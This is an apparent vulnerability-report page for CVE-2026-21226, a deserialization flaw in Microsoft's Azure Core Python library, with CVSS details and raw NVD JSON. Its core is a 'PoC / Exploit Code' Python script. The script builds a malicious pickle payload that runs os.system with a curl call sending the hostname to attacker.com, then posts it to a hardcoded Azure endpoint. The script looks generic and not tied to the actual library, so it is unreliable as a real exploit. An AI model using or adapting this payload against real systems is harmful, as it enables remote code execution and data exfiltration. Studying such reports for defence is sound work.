Security Vulnerability Report
中文
CVE-2026-21226 CVSS 7.5 HIGH

CVE-2026-21226

Published: 2026-01-13 19:16:24
Last Modified: 2026-02-05 17:58:30

Description

Deserialization of untrusted data in Azure Core shared client library for Python allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_core_shared_client_library:*:*:*:*:*:python:*:* - VULNERABLE
Azure Core shared client library for Python < 受影响版本
建议升级至Microsoft官方发布的安全修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21226 PoC - Azure Core Python Deserialization RCE # This PoC demonstrates the deserialization vulnerability in Azure Core library import pickle import base64 import os def create_malicious_payload(): """ Create a malicious pickle payload for deserialization attack. This will execute arbitrary code when deserialized. """ # Malicious class that executes code on unpickling class RCE: def __reduce__(self): # This command will be executed on the target system cmd = "curl https://attacker.com/exfiltrate?host=$(hostname)" return (os.system, (cmd,)) # Serialize the malicious object payload = pickle.dumps(RCE()) return base64.b64encode(payload).decode() def exploit(target_url, malicious_data): """ Send the malicious payload to the vulnerable Azure Core endpoint. """ import requests headers = { 'Content-Type': 'application/octet-stream', 'X-Api-Version': '1.0' } try: response = requests.post( target_url, data=malicious_data, headers=headers, timeout=10 ) return response.status_code, response.text except Exception as e: return None, str(e) def main(): print("[*] CVE-2026-21226 Azure Core Python RCE Exploit") print("[*] Generating malicious payload...") payload = create_malicious_payload() print(f"[*] Payload created: {payload[:50]}...") # Target configuration target = "https://vulnerable-azure-service.azurewebsites.net/api/data" print(f"[*] Sending payload to {target}...") status, response = exploit(target, payload) if status: print(f"[*] Response Status: {status}") print(f"[*] Response: {response}") else: print("[-] Exploit failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21226", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:23.987", "lastModified": "2026-02-05T17:58:29.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Azure Core shared client library for Python allows an authorized attacker to execute code over a network."}, {"lang": "es", "value": "Deserialización de datos no confiables en la biblioteca compartida de cliente de Azure Core para Python permite a un atacante autorizado ejecutar código a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_core_shared_client_library:*:*:*:*:*:python:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.38.0", "matchCriteriaId": "43DC5EFE-C77D-469D-8402-769897B0DC30"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21226", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}